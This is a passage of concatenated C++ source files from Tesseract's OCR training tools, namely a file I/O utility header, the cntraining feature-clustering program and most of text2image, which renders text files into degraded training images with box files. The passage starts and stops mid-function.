SET_DATA_BYTE(data, x, pixel);
}
data += input->wpl;
}
return input;
}
} // namespace tesseract
| C++ |
/**********************************************************************
* File: fileio.h
* Description: File I/O utilities.
* Author: Samuel Charron
* Created: Tuesday, July 9, 2013
*
* (C) Copyright 2013, Google Inc.
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy
* of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required
* by applicable law or agreed to in writing, software distributed under the
* License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
* OF ANY KIND, either express or implied. See the License for the specific
* language governing permissions and limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_TRAINING_FILEIO_H_
#define TESSERACT_TRAINING_FILEIO_H_
#include <stddef.h>
#include <cstdio>
#include <string>
#ifdef USE_STD_NAMESPACE
using std::string;
#endif
namespace tesseract {
// A class to manipulate FILE*s.
class File {
public:
// Try to open the file 'filename' in mode 'mode'.
// Stop the program if it cannot open it.
static FILE* OpenOrDie(const string& filename, const string& mode);
static FILE* Open(const string& filename, const string& mode);
// Try to open the file 'filename' and to write 'str' in it.
// Stop the program if it fails.
static void WriteStringToFileOrDie(const string& str, const string& filename);
// Return true if the file 'filename' is readable.
static bool Readable(const string& filename);
static void ReadFileToStringOrDie(const string& filename, string* out);
static bool ReadFileToString(const string& filename, string* out);
// Helper methods
// Concatenate file paths removing any extra intervening '/' symbols.
static string JoinPath(const string& prefix, const string& suffix);
// Delete a filename or all filenames matching a glob pattern.
static bool Delete(const char* pathname);
static bool DeleteMatchingFiles(const char* pattern);
};
// A class to manipulate Files for reading.
class InputBuffer {
public:
explicit InputBuffer(FILE* stream);
// 'size' is ignored.
InputBuffer(FILE* stream, size_t size);
~InputBuffer();
// Read data until end-of-file or a \n is read.
// The data is stored in '*out', excluding the \n if present.
// Return false if an error occurs or at end-of-file, true otherwise.
bool ReadLine(string* out);
// Close the FILE* used by InputBuffer.
// Return false if an error occurs, true otherwise.
bool CloseFile();
private:
FILE* stream_;
int filesize_;
};
// A class to manipulate Files for writing.
class OutputBuffer {
public:
explicit OutputBuffer(FILE* stream);
// 'size' is ignored.
OutputBuffer(FILE* stream, size_t size);
~OutputBuffer();
// Write string 'str' to the open FILE*.
void WriteString(const string& str);
// Close the FILE* used by InputBuffer.
// Return false if an error occurs, true otherwise.
bool CloseFile();
private:
FILE* stream_;
};
} // namespace tesseract
#endif // TESSERACT_TRAINING_FILEIO_H_
| C++ |
/******************************************************************************
** Filename: cntraining.cpp
** Purpose: Generates a normproto and pffmtable.
** Author: Dan Johnson
** Revisment: Christy Russon
** History: Fri Aug 18 08:53:50 1989, DSJ, Created.
** 5/25/90, DSJ, Adapted to multiple feature types.
** Tuesday, May 17, 1998 Changes made to make feature specific and
** simplify structures. First step in simplifying training process.
**
** (c) Copyright Hewlett-Packard Company, 1988.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
******************************************************************************/
/**----------------------------------------------------------------------------
Include Files and Type Defines
----------------------------------------------------------------------------**/
#include "oldlist.h"
#include "efio.h"
#include "emalloc.h"
#include "featdefs.h"
#include "tessopt.h"
#include "ocrfeatures.h"
#include "clusttool.h"
#include "cluster.h"
#include <string.h>
#include <stdio.h>
#include <math.h>
#include "unichar.h"
#include "commontraining.h"
#define PROGRAM_FEATURE_TYPE "cn"
DECLARE_STRING_PARAM_FLAG(D);
/**----------------------------------------------------------------------------
Public Function Prototypes
----------------------------------------------------------------------------**/
int main (
int argc,
char **argv);
/**----------------------------------------------------------------------------
Private Function Prototypes
----------------------------------------------------------------------------**/
void WriteNormProtos (
const char *Directory,
LIST LabeledProtoList,
CLUSTERER *Clusterer);
/*
PARAMDESC *ConvertToPARAMDESC(
PARAM_DESC* Param_Desc,
int N);
*/
void WriteProtos(
FILE *File,
uinT16 N,
LIST ProtoList,
BOOL8 WriteSigProtos,
BOOL8 WriteInsigProtos);
/**----------------------------------------------------------------------------
Global Data Definitions and Declarations
----------------------------------------------------------------------------**/
/* global variable to hold configuration parameters to control clustering */
//-M 0.025 -B 0.05 -I 0.8 -C 1e-3
CLUSTERCONFIG CNConfig =
{
elliptical, 0.025, 0.05, 0.8, 1e-3, 0
};
/**----------------------------------------------------------------------------
Public Code
----------------------------------------------------------------------------**/
/*---------------------------------------------------------------------------*/
int main(int argc, char* argv[])
/*
** Parameters:
** argc number of command line arguments
** argv array of command line arguments
** Globals: none
** Operation:
** This program reads in a text file consisting of feature
** samples from a training page in the following format:
**
** FontName CharName NumberOfFeatureTypes(N)
** FeatureTypeName1 NumberOfFeatures(M)
** Feature1
** ...
** FeatureM
** FeatureTypeName2 NumberOfFeatures(M)
** Feature1
** ...
** FeatureM
** ...
** FeatureTypeNameN NumberOfFeatures(M)
** Feature1
** ...
** FeatureM
** FontName CharName ...
**
** It then appends these samples into a separate file for each
** character. The name of the file is
**
** DirectoryName/FontName/CharName.FeatureTypeName
**
** The DirectoryName can be specified via a command
** line argument. If not specified, it defaults to the
** current directory. The format of the resulting files is:
**
** NumberOfFeatures(M)
** Feature1
** ...
** FeatureM
** NumberOfFeatures(M)
** ...
**
** The output files each have a header which describes the
** type of feature which the file contains. This header is
** in the format required by the clusterer. A command line
** argument can also be used to specify that only the first
** N samples of each class should be used.
** Return: none
** Exceptions: none
** History: Fri Aug 18 08:56:17 1989, DSJ, Created.
*/
{
// Set the global Config parameters before parsing the command line.
Config = CNConfig;
const char *PageName;
FILE *TrainingPage;
LIST CharList = NIL_LIST;
CLUSTERER *Clusterer = NULL;
LIST ProtoList = NIL_LIST;
LIST NormProtoList = NIL_LIST;
LIST pCharList;
LABELEDLIST CharSample;
FEATURE_DEFS_STRUCT FeatureDefs;
InitFeatureDefs(&FeatureDefs);
ParseArguments(&argc, &argv);
int num_fonts = 0;
while ((PageName = GetNextFilename(argc, argv)) != NULL) {
printf("Reading %s ...\n", PageName);
TrainingPage = Efopen(PageName, "rb");
ReadTrainingSamples(FeatureDefs, PROGRAM_FEATURE_TYPE,
100, NULL, TrainingPage, &CharList);
fclose(TrainingPage);
++num_fonts;
}
printf("Clustering ...\n");
// To allow an individual font to form a separate cluster,
// reduce the min samples:
// Config.MinSamples = 0.5 / num_fonts;
pCharList = CharList;
iterate(pCharList) {
//Cluster
CharSample = (LABELEDLIST)first_node(pCharList);
Clusterer =
SetUpForClustering(FeatureDefs, CharSample, PROGRAM_FEATURE_TYPE);
float SavedMinSamples = Config.MinSamples;
// To disable the tendency to produce a single cluster for all fonts,
// make MagicSamples an impossible to achieve number:
// Config.MagicSamples = CharSample->SampleCount * 10;
Config.MagicSamples = CharSample->SampleCount;
while (Config.MinSamples > 0.001) {
ProtoList = ClusterSamples(Clusterer, &Config);
if (NumberOfProtos(ProtoList, 1, 0) > 0) {
break;
} else {
Config.MinSamples *= 0.95;
printf("0 significant protos for %s."
" Retrying clustering with MinSamples = %f%%\n",
CharSample->Label, Config.MinSamples);
}
}
Config.MinSamples = SavedMinSamples;
AddToNormProtosList(&NormProtoList, ProtoList, CharSample->Label);
}
FreeTrainingSamples(CharList);
if (Clusterer == NULL) { // To avoid a SIGSEGV
fprintf(stderr, "Error: NULL clusterer!\n");
return 1;
}
WriteNormProtos(FLAGS_D.c_str(), NormProtoList, Clusterer);
FreeNormProtoList(NormProtoList);
FreeProtoList(&ProtoList);
FreeClusterer(Clusterer);
printf ("\n");
return 0;
} // main
/**----------------------------------------------------------------------------
Private Code
----------------------------------------------------------------------------**/
/*----------------------------------------------------------------------------*/
void WriteNormProtos (
const char *Directory,
LIST LabeledProtoList,
CLUSTERER *Clusterer)
/*
** Parameters:
** Directory directory to place sample files into
** Operation:
** This routine writes the specified samples into files which
** are organized according to the font name and character name
** of the samples.
** Return: none
** Exceptions: none
** History: Fri Aug 18 16:17:06 1989, DSJ, Created.
*/
{
FILE *File;
STRING Filename;
LABELEDLIST LabeledProto;
int N;
Filename = "";
if (Directory != NULL && Directory[0] != '\0')
{
Filename += Directory;
Filename += "/";
}
Filename += "normproto";
printf ("\nWriting %s ...", Filename.string());
File = Efopen (Filename.string(), "wb");
fprintf(File,"%0d\n",Clusterer->SampleSize);
WriteParamDesc(File,Clusterer->SampleSize,Clusterer->ParamDesc);
iterate(LabeledProtoList)
{
LabeledProto = (LABELEDLIST) first_node (LabeledProtoList);
N = NumberOfProtos(LabeledProto->List, true, false);
if (N < 1) {
printf ("\nError! Not enough protos for %s: %d protos"
" (%d significant protos"
", %d insignificant protos)\n",
LabeledProto->Label, N,
NumberOfProtos(LabeledProto->List, 1, 0),
NumberOfProtos(LabeledProto->List, 0, 1));
exit(1);
}
fprintf(File, "\n%s %d\n", LabeledProto->Label, N);
WriteProtos(File, Clusterer->SampleSize, LabeledProto->List, true, false);
}
fclose (File);
} // WriteNormProtos
/*-------------------------------------------------------------------------*/
void WriteProtos(
FILE *File,
uinT16 N,
LIST ProtoList,
BOOL8 WriteSigProtos,
BOOL8 WriteInsigProtos)
{
PROTOTYPE *Proto;
// write prototypes
iterate(ProtoList)
{
Proto = (PROTOTYPE *) first_node ( ProtoList );
if (( Proto->Significant && WriteSigProtos ) ||
( ! Proto->Significant && WriteInsigProtos ) )
WritePrototype( File, N, Proto );
}
} // WriteProtos
| C++ |
/**********************************************************************
* File: text2image.cpp
* Description: Program to generate OCR training pages. Given a text file it
* outputs an image with a given font and degradation.
*
* Note that since the results depend on the fonts available on
* your system, running the code on a different machine, or
* different OS, or even at a different time on the same machine,
* may produce different fonts even if --font is given explicitly.
* To see names of available fonts, use --list_available_fonts with
* the appropriate --fonts_dir path.
* Specifying --use_only_legacy_fonts will restrict the available
* fonts to those listed in legacy_fonts.h
*
* Authors: Ranjith Unnikrishnan, Ray Smith
* Created: Tue Nov 19 2013
*
* (C) Copyright 2013, Google Inc.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************/
#include <stdlib.h>
#include <string.h>
#include <algorithm>
#include <iostream>
#include <map>
#include <string>
#include <utility>
#include <vector>
#include "allheaders.h" // from leptonica
#include "boxchar.h"
#include "commandlineflags.h"
#include "degradeimage.h"
#include "errcode.h"
#include "fileio.h"
#include "helpers.h"
#include "normstrngs.h"
#include "stringrenderer.h"
#include "tlog.h"
#include "unicharset.h"
#include "util.h"
#ifdef USE_STD_NAMESPACE
using std::make_pair;
using std::map;
using std::pair;
#endif
// A number with which to initialize the random number generator.
const int kRandomSeed = 0x18273645;
// The text input file.
STRING_PARAM_FLAG(text, "", "File name of text input to process");
// The text output file.
STRING_PARAM_FLAG(outputbase, "", "Basename for output image/box file");
// Degrade the rendered image to mimic scanner quality.
BOOL_PARAM_FLAG(degrade_image, true,
"Degrade rendered image with speckle noise, dilation/erosion "
"and rotation");
// Degradation to apply to the image.
INT_PARAM_FLAG(exposure, 0, "Exposure level in photocopier");
// Output image resolution.
INT_PARAM_FLAG(resolution, 300, "Pixels per inch");
// Width of output image (in pixels).
INT_PARAM_FLAG(xsize, 3600, "Width of output image");
// Max height of output image (in pixels).
INT_PARAM_FLAG(ysize, 4800, "Height of output image");
// Margin around text (in pixels).
INT_PARAM_FLAG(margin, 100, "Margin round edges of image");
// Size of text (in points).
INT_PARAM_FLAG(ptsize, 12, "Size of printed text");
// Inter-character space (in ems).
DOUBLE_PARAM_FLAG(char_spacing, 0, "Inter-character space in ems");
// Sets the probability (value in [0, 1]) of starting to render a word with an
// underline. Words are assumed to be space-delimited.
DOUBLE_PARAM_FLAG(underline_start_prob, 0,
"Fraction of words to underline (value in [0,1])");
// Set the probability (value in [0, 1]) of continuing a started underline to
// the next word.
DOUBLE_PARAM_FLAG(underline_continuation_prob, 0,
"Fraction of words to underline (value in [0,1])");
// Inter-line space (in pixels).
INT_PARAM_FLAG(leading, 12, "Inter-line space (in pixels)");
// Layout and glyph orientation on rendering.
STRING_PARAM_FLAG(writing_mode, "horizontal",
"Specify one of the following writing"
" modes.\n"
"'horizontal' : Render regular horizontal text. (default)\n"
"'vertical' : Render vertical text. Glyph orientation is"
" selected by Pango.\n"
"'vertical-upright' : Render vertical text. Glyph "
" orientation is set to be upright.");
INT_PARAM_FLAG(box_padding, 0, "Padding around produced bounding boxes");
BOOL_PARAM_FLAG(strip_unrenderable_words, false,
"Remove unrenderable words from source text");
// Font name.
STRING_PARAM_FLAG(font, "Arial", "Font description name to use");
BOOL_PARAM_FLAG(ligatures, false,
"Rebuild and render ligatures");
BOOL_PARAM_FLAG(find_fonts, false,
"Search for all fonts that can render the text");
BOOL_PARAM_FLAG(render_per_font, true,
"If find_fonts==true, render each font to its own image. "
"Image filenames are of the form output_name.font_name.tif");
DOUBLE_PARAM_FLAG(min_coverage, 1.0,
"If find_fonts==true, the minimum coverage the font has of "
"the characters in the text file to include it, between "
"0 and 1.");
BOOL_PARAM_FLAG(list_available_fonts, false, "List available fonts and quit.");
BOOL_PARAM_FLAG(render_ngrams, false, "Put each space-separated entity from the"
" input file into one bounding box. The ngrams in the input"
" file will be randomly permuted before rendering (so that"
" there is sufficient variety of characters on each line).");
BOOL_PARAM_FLAG(output_word_boxes, false,
"Output word bounding boxes instead of character boxes. "
"This is used for Cube training, and implied by "
"--render_ngrams.");
STRING_PARAM_FLAG(unicharset_file, "",
"File with characters in the unicharset. If --render_ngrams"
" is true and --unicharset_file is specified, ngrams with"
" characters that are not in unicharset will be omitted");
BOOL_PARAM_FLAG(bidirectional_rotation, false,
"Rotate the generated characters both ways.");
BOOL_PARAM_FLAG(only_extract_font_properties, false,
"Assumes that the input file contains a list of ngrams. Renders"
" each ngram, extracts spacing properties and records them in"
" output_base/[font_name].fontinfo file.");
// Use these flags to output zero-padded, square individual character images
BOOL_PARAM_FLAG(output_individual_glyph_images, false,
"If true also outputs individual character images");
INT_PARAM_FLAG(glyph_resized_size, 0,
"Each glyph is square with this side length in pixels");
INT_PARAM_FLAG(glyph_num_border_pixels_to_pad, 0,
"Final_size=glyph_resized_size+2*glyph_num_border_pixels_to_pad");
namespace tesseract {
struct SpacingProperties {
SpacingProperties() : x_gap_before(0), x_gap_after(0) {}
SpacingProperties(int b, int a) : x_gap_before(b), x_gap_after(a) {}
// These values are obtained from FT_Glyph_Metrics struct
// used by the FreeType font engine.
int x_gap_before; // horizontal x bearing
int x_gap_after; // horizontal advance - x_gap_before - width
map<string, int> kerned_x_gaps;
};
static bool IsWhitespaceBox(const BoxChar* boxchar) {
return (boxchar->box() == NULL ||
SpanUTF8Whitespace(boxchar->ch().c_str()));
}
static string StringReplace(const string& in,
const string& oldsub, const string& newsub) {
string out;
int start_pos = 0;
do {
int pos = in.find(oldsub, start_pos);
if (pos == string::npos) break;
out.append(in.data() + start_pos, pos - start_pos);
out.append(newsub.data(), newsub.length());
start_pos = pos + oldsub.length();
} while (true);
out.append(in.data() + start_pos, in.length() - start_pos);
return out;
}
// Assumes that each word (whitespace-separated entity) in text is a bigram.
// Renders the bigrams and calls FontInfo::GetSpacingProperties() to
// obtain spacing information. Produces the output .fontinfo file with a line
// per unichar of the form:
// unichar space_before space_after kerned1 kerned_space1 kerned2 ...
// Fox example, if unichar "A" has spacing of 0 pixels before and -1 pixels
// after, is kerned with "V" resulting in spacing of "AV" to be -7 and kerned
// with "T", such that "AT" has spacing of -5, the entry/line for unichar "A"
// in .fontinfo file will be:
// A 0 -1 T -5 V -7
void ExtractFontProperties(const string &utf8_text,
StringRenderer *render,
const string &output_base) {
map<string, SpacingProperties> spacing_map;
map<string, SpacingProperties>::iterator spacing_map_it0;
map<string, SpacingProperties>::iterator spacing_map_it1;
int x_bearing, x_advance;
int len = utf8_text.length();
int offset = 0;
const char* text = utf8_text.c_str();
while (offset < len) {
offset += render->RenderToImage(text + offset, strlen(text + offset), NULL);
const vector<BoxChar*> &boxes = render->GetBoxes();
// If the page break split a bigram, correct the offset so we try the bigram
// on the next iteration.
if (boxes.size() > 2 && !IsWhitespaceBox(boxes[boxes.size() - 1]) &&
IsWhitespaceBox(boxes[boxes.size() - 2])) {
if (boxes.size() > 3) {
tprintf("WARNING: Adjusting to bad page break after '%s%s'\n",
boxes[boxes.size() - 4]->ch().c_str(),
boxes[boxes.size() - 3]->ch().c_str());
}
offset -= boxes[boxes.size() - 1]->ch().size();
}
for (int b = 0; b < boxes.size(); b += 2) {
while (b < boxes.size() && IsWhitespaceBox(boxes[b])) ++b;
if (b + 1 >= boxes.size()) break;
const string &ch0 = boxes[b]->ch();
// We encountered a ligature. This happens in at least two scenarios:
// One is when the rendered bigram forms a grapheme cluster (eg. the
// second character in the bigram is a combining vowel), in which case we
// correctly output only one bounding box.
// A second far less frequent case is when caused some fonts like 'DejaVu
// Sans Ultra-Light' force Pango to render a ligatured character even if
// the input consists of the separated characters. NOTE(ranjith): As per
// behdad@ this is not currently controllable at the level of the Pango
// API.
// Safeguard against these cases here by just skipping the bigram.
if (IsWhitespaceBox(boxes[b+1])) {
tprintf("WARNING: Found unexpected ligature: %s\n", ch0.c_str());
continue;
}
int xgap = (boxes[b+1]->box()->x -
(boxes[b]->box()->x + boxes[b]->box()->w));
spacing_map_it0 = spacing_map.find(ch0);
int ok_count = 0;
if (spacing_map_it0 == spacing_map.end() &&
render->font().GetSpacingProperties(ch0, &x_bearing, &x_advance)) {
spacing_map[ch0] = SpacingProperties(
x_bearing, x_advance - x_bearing - boxes[b]->box()->w);
spacing_map_it0 = spacing_map.find(ch0);
++ok_count;
}
const string &ch1 = boxes[b+1]->ch();
tlog(3, "%s%s\n", ch0.c_str(), ch1.c_str());
spacing_map_it1 = spacing_map.find(ch1);
if (spacing_map_it1 == spacing_map.end() &&
render->font().GetSpacingProperties(ch1, &x_bearing, &x_advance)) {
spacing_map[ch1] = SpacingProperties(
x_bearing, x_advance - x_bearing - boxes[b+1]->box()->w);
spacing_map_it1 = spacing_map.find(ch1);
++ok_count;
}
if (ok_count == 2 && xgap != (spacing_map_it0->second.x_gap_after +
spacing_map_it1->second.x_gap_before)) {
spacing_map_it0->second.kerned_x_gaps[ch1] = xgap;
}
}
render->ClearBoxes();
}
string output_string;
const int kBufSize = 1024;
char buf[kBufSize];
snprintf(buf, kBufSize, "%d\n", static_cast<int>(spacing_map.size()));
output_string.append(buf);
map<string, SpacingProperties>::const_iterator spacing_map_it;
for (spacing_map_it = spacing_map.begin();
spacing_map_it != spacing_map.end(); ++spacing_map_it) {
snprintf(buf, kBufSize,
"%s %d %d %d", spacing_map_it->first.c_str(),
spacing_map_it->second.x_gap_before,
spacing_map_it->second.x_gap_after,
static_cast<int>(spacing_map_it->second.kerned_x_gaps.size()));
output_string.append(buf);
map<string, int>::const_iterator kern_it;
for (kern_it = spacing_map_it->second.kerned_x_gaps.begin();
kern_it != spacing_map_it->second.kerned_x_gaps.end(); ++kern_it) {
snprintf(buf, kBufSize,
" %s %d", kern_it->first.c_str(), kern_it->second);
output_string.append(buf);
}
output_string.append("\n");
}
File::WriteStringToFileOrDie(output_string, output_base + ".fontinfo");
}
bool MakeIndividualGlyphs(Pix* pix,
const vector<BoxChar*>& vbox,
const int input_tiff_page) {
// If checks fail, return false without exiting text2image
if (!pix) {
tprintf("ERROR: MakeIndividualGlyphs(): Input Pix* is NULL\n");
return false;
} else if (FLAGS_glyph_resized_size <= 0) {
tprintf("ERROR: --glyph_resized_size must be positive\n");
return false;
} else if (FLAGS_glyph_num_border_pixels_to_pad < 0) {
tprintf("ERROR: --glyph_num_border_pixels_to_pad must be 0 or positive\n");
return false;
}
const int n_boxes = vbox.size();
int n_boxes_saved = 0;
int current_tiff_page = 0;
int y_previous = 0;
static int glyph_count = 0;
for (int i = 0; i < n_boxes; i++) {
// Get one bounding box
Box* b = vbox[i]->mutable_box();
if (!b) continue;
const int x = b->x;
const int y = b->y;
const int w = b->w;
const int h = b->h;
// Check present tiff page (for multipage tiff)
if (y < y_previous-pixGetHeight(pix)/10) {
tprintf("ERROR: Wrap-around encountered, at i=%d\n", i);
current_tiff_page++;
}
if (current_tiff_page < input_tiff_page) continue;
else if (current_tiff_page > input_tiff_page) break;
// Check box validity
if (x < 0 || y < 0 ||
(x+w-1) >= pixGetWidth(pix) ||
(y+h-1) >= pixGetHeight(pix)) {
tprintf("ERROR: MakeIndividualGlyphs(): Index out of range, at i=%d"
" (x=%d, y=%d, w=%d, h=%d\n)", i, x, y, w, h);
continue;
} else if (w < FLAGS_glyph_num_border_pixels_to_pad &&
h < FLAGS_glyph_num_border_pixels_to_pad) {
tprintf("ERROR: Input image too small to be a character, at i=%d\n", i);
continue;
}
// Crop the boxed character
Pix* pix_glyph = pixClipRectangle(pix, b, NULL);
if (!pix_glyph) {
tprintf("ERROR: MakeIndividualGlyphs(): Failed to clip, at i=%d\n", i);
continue;
}
// Resize to square
Pix* pix_glyph_sq = pixScaleToSize(pix_glyph,
FLAGS_glyph_resized_size,
FLAGS_glyph_resized_size);
if (!pix_glyph_sq) {
tprintf("ERROR: MakeIndividualGlyphs(): Failed to resize, at i=%d\n", i);
continue;
}
// Zero-pad
Pix* pix_glyph_sq_pad = pixAddBorder(pix_glyph_sq,
FLAGS_glyph_num_border_pixels_to_pad,
0);
if (!pix_glyph_sq_pad) {
tprintf("ERROR: MakeIndividualGlyphs(): Failed to zero-pad, at i=%d\n",
i);
continue;
}
// Write out
Pix* pix_glyph_sq_pad_8 = pixConvertTo8(pix_glyph_sq_pad, false);
char filename[1024];
snprintf(filename, 1024, "%s_%d.jpg", FLAGS_outputbase.c_str(),
glyph_count++);
if (pixWriteJpeg(filename, pix_glyph_sq_pad_8, 100, 0)) {
tprintf("ERROR: MakeIndividualGlyphs(): Failed to write JPEG to %s,"
" at i=%d\n", filename, i);
continue;
}
pixDestroy(&pix_glyph);
pixDestroy(&pix_glyph_sq);
pixDestroy(&pix_glyph_sq_pad);
pixDestroy(&pix_glyph_sq_pad_8);
n_boxes_saved++;
y_previous = y;
}
if (n_boxes_saved == 0) {
return false;
} else {
tprintf("Total number of characters saved = %d\n", n_boxes_saved);
return true;
}
}
} // namespace tesseract
using tesseract::DegradeImage;
using tesseract::ExtractFontProperties;
using tesseract::File;
using tesseract::FontUtils;
using tesseract::SpanUTF8NotWhitespace;
using tesseract::SpanUTF8Whitespace;
using tesseract::StringRenderer;
int main(int argc, char** argv) {
tesseract::ParseCommandLineFlags(argv[0], &argc, &argv, true);
if (FLAGS_list_available_fonts) {
const vector<string>& all_fonts = FontUtils::ListAvailableFonts();
for (int i = 0; i < all_fonts.size(); ++i) {
tprintf("%3d: %s\n", i, all_fonts[i].c_str());
ASSERT_HOST_MSG(FontUtils::IsAvailableFont(all_fonts[i].c_str()),
"Font %s is unrecognized.\n", all_fonts[i].c_str());
}
return EXIT_SUCCESS;
}
// Check validity of input flags.
ASSERT_HOST_MSG(!FLAGS_text.empty(), "Text file missing!\n");
ASSERT_HOST_MSG(!FLAGS_outputbase.empty(), "Output file missing!\n");
ASSERT_HOST_MSG(FLAGS_render_ngrams || FLAGS_unicharset_file.empty(),
"Use --unicharset_file only if --render_ngrams is set.\n");
ASSERT_HOST_MSG(FLAGS_find_fonts ||
FontUtils::IsAvailableFont(FLAGS_font.c_str()),
"Could not find font named %s\n", FLAGS_font.c_str());
if (FLAGS_render_ngrams)
FLAGS_output_word_boxes = true;
char font_desc_name[1024];
snprintf(font_desc_name, 1024, "%s %d", FLAGS_font.c_str(),
static_cast<int>(FLAGS_ptsize));
StringRenderer render(font_desc_name, FLAGS_xsize, FLAGS_ysize);
render.set_add_ligatures(FLAGS_ligatures);
render.set_leading(FLAGS_leading);
render.set_resolution(FLAGS_resolution);
render.set_char_spacing(FLAGS_char_spacing * FLAGS_ptsize);
render.set_h_margin(FLAGS_margin);
render.set_v_margin(FLAGS_margin);
render.set_output_word_boxes(FLAGS_output_word_boxes);
render.set_box_padding(FLAGS_box_padding);
render.set_strip_unrenderable_words(FLAGS_strip_unrenderable_words);
render.set_underline_start_prob(FLAGS_underline_start_prob);
render.set_underline_continuation_prob(FLAGS_underline_continuation_prob);
// Set text rendering orientation and their forms.
if (FLAGS_writing_mode == "horizontal") {
// Render regular horizontal text (default).
render.set_vertical_text(false);
render.set_gravity_hint_strong(false);
render.set_render_fullwidth_latin(false);
} else if (FLAGS_writing_mode == "vertical") {
// Render vertical text. Glyph orientation is selected by Pango.
render.set_vertical_text(true);
render.set_gravity_hint_strong(false);
render.set_render_fullwidth_latin(false);
} else if (FLAGS_writing_mode == "vertical-upright") {
// Render vertical text. Glyph orientation is set to be upright.
// Also Basic Latin characters are converted to their fullwidth forms
// on rendering, since fullwidth Latin characters are well designed to fit
// vertical text lines, while .box files store halfwidth Basic Latin
// unichars.
render.set_vertical_text(true);
render.set_gravity_hint_strong(true);
render.set_render_fullwidth_latin(true);
} else {
TLOG_FATAL("Invalid writing mode : %s\n", FLAGS_writing_mode.c_str());
}
string src_utf8;
// This c_str is NOT redundant!
File::ReadFileToStringOrDie(FLAGS_text.c_str(), &src_utf8);
// Remove the unicode mark if present.
if (strncmp(src_utf8.c_str(), "\xef\xbb\xbf", 3) == 0) {
src_utf8.erase(0, 3);
}
tlog(1, "Render string of size %d\n", src_utf8.length());
if (FLAGS_render_ngrams || FLAGS_only_extract_font_properties) {
// Try to preserve behavior of old text2image by expanding inter-word
// spaces by a factor of 4.
const string kSeparator = FLAGS_render_ngrams ? " " : " ";
// Also restrict the number of charactes per line to try and avoid
// line-breaking in the middle of words like "-A", "R$" etc. which are
// otherwise allowed by the standard unicode line-breaking rules.
const int kCharsPerLine = (FLAGS_ptsize > 20) ? 50 : 100;
string rand_utf8;
UNICHARSET unicharset;
if (FLAGS_render_ngrams && !FLAGS_unicharset_file.empty() &&
!unicharset.load_from_file(FLAGS_unicharset_file.c_str())) {
TLOG_FATAL("Failed to load unicharset from file %s\n",
FLAGS_unicharset_file.c_str());
}
// If we are rendering ngrams that will be OCRed later, shuffle them so that
// tesseract does not have difficulties finding correct baseline, word
// spaces, etc.
const char *str8 = src_utf8.c_str();
int len = src_utf8.length();
int step;
vector<pair<int, int> > offsets;
int offset = SpanUTF8Whitespace(str8);
while (offset < len) {
step = SpanUTF8NotWhitespace(str8 + offset);
offsets.push_back(make_pair(offset, step));
offset += step;
offset += SpanUTF8Whitespace(str8 + offset);
}
if (FLAGS_render_ngrams)
std::random_shuffle(offsets.begin(), offsets.end());
for (int i = 0, line = 1; i < offsets.size(); ++i) {
const char *curr_pos = str8 + offsets[i].first;
int ngram_len = offsets[i].second;
// Skip words that contain characters not in found in unicharset.
if (!FLAGS_unicharset_file.empty() &&
!unicharset.encodable_string(curr_pos, NULL)) {
continue;
}
rand_utf8.append(curr_pos, ngram_len);
if (rand_utf8.length() > line * kCharsPerLine) {
rand_utf8.append(" \n");
++line;
if (line & 0x1) rand_utf8.append(kSeparator);
} else {
rand_utf8.append(kSeparator);
}
}
tlog(1, "Rendered ngram string of size %d\n", rand_utf8.length());
src_utf8.swap(rand_utf8);
}
if (FLAGS_only_extract_font_properties) {
tprintf("Extracting font properties only\n");
ExtractFontProperties(src_utf8, &render, FLAGS_outputbase.c_str());
tprintf("Done!\n");
return 0;
}
int im = 0;
vector<float> page_rotation;
const char* to_render_utf8 = src_utf8.c_str();
tesseract::TRand randomizer;
randomizer.set_seed(kRandomSeed);
vector<string> font_names;
// We use a two pass mechanism to rotate images in both direction.
// The first pass(0) will rotate the images in random directions and
// the second pass(1) will mirror those rotations.
int num_pass = FLAGS_bidirectional_rotation ? 2 : 1;
for (int pass = 0; pass < num_pass; ++pass) {
int page_num = 0;
string font_used;
for (int offset = 0; offset < strlen(to_render_utf8); ++im, ++page_num) {
tlog(1, "Starting page %d\n", im);
Pix* pix = NULL;
if (FLAGS_find_fonts) {
offset += render.RenderAllFontsToImage(FLAGS_min_coverage,
to_render_utf8 + offset,
strlen(to_render_utf8 + offset),
&font_used, &pix);
} else {
offset += render.RenderToImage(to_render_utf8 + offset,
strlen(to_render_utf8 + offset), &pix);
}
if (pix != NULL) {
float rotation = 0;
if (pass == 1) {
// Pass 2, do mirror rotation.
rotation = -1 * page_rotation[page_num];
}
if (FLAGS_degrade_image) {
pix = DegradeImage(pix, FLAGS_exposure, &randomizer, &rotation);
}
render.RotatePageBoxes(rotation);
if (pass == 0) {
// Pass 1, rotate randomly and store the rotation..
page_rotation.push_back(rotation);
}
Pix* gray_pix = pixConvertTo8(pix, false);
pixDestroy(&pix);
Pix* binary = pixThresholdToBinary(gray_pix, 128);
pixDestroy(&gray_pix);
char tiff_name[1024];
if (FLAGS_find_fonts) {
if (FLAGS_render_per_font) {
string fontname_for_file = tesseract::StringReplace(
font_used, " ", "_");
snprintf(tiff_name, 1024, "%s.%s.tif", FLAGS_outputbase.c_str(),
fontname_for_file.c_str());
pixWriteTiff(tiff_name, binary, IFF_TIFF_G4, "w");
tprintf("Rendered page %d to file %s\n", im, tiff_name);
} else {
font_names.push_back(font_used);
}
} else {
snprintf(tiff_name, 1024, "%s.tif", FLAGS_outputbase.c_str());
pixWriteTiff(tiff_name, binary, IFF_TIFF_G4, im == 0 ? "w" : "a");
tprintf("Rendered page %d to file %s\n", im, tiff_name);
}
// Make individual glyphs
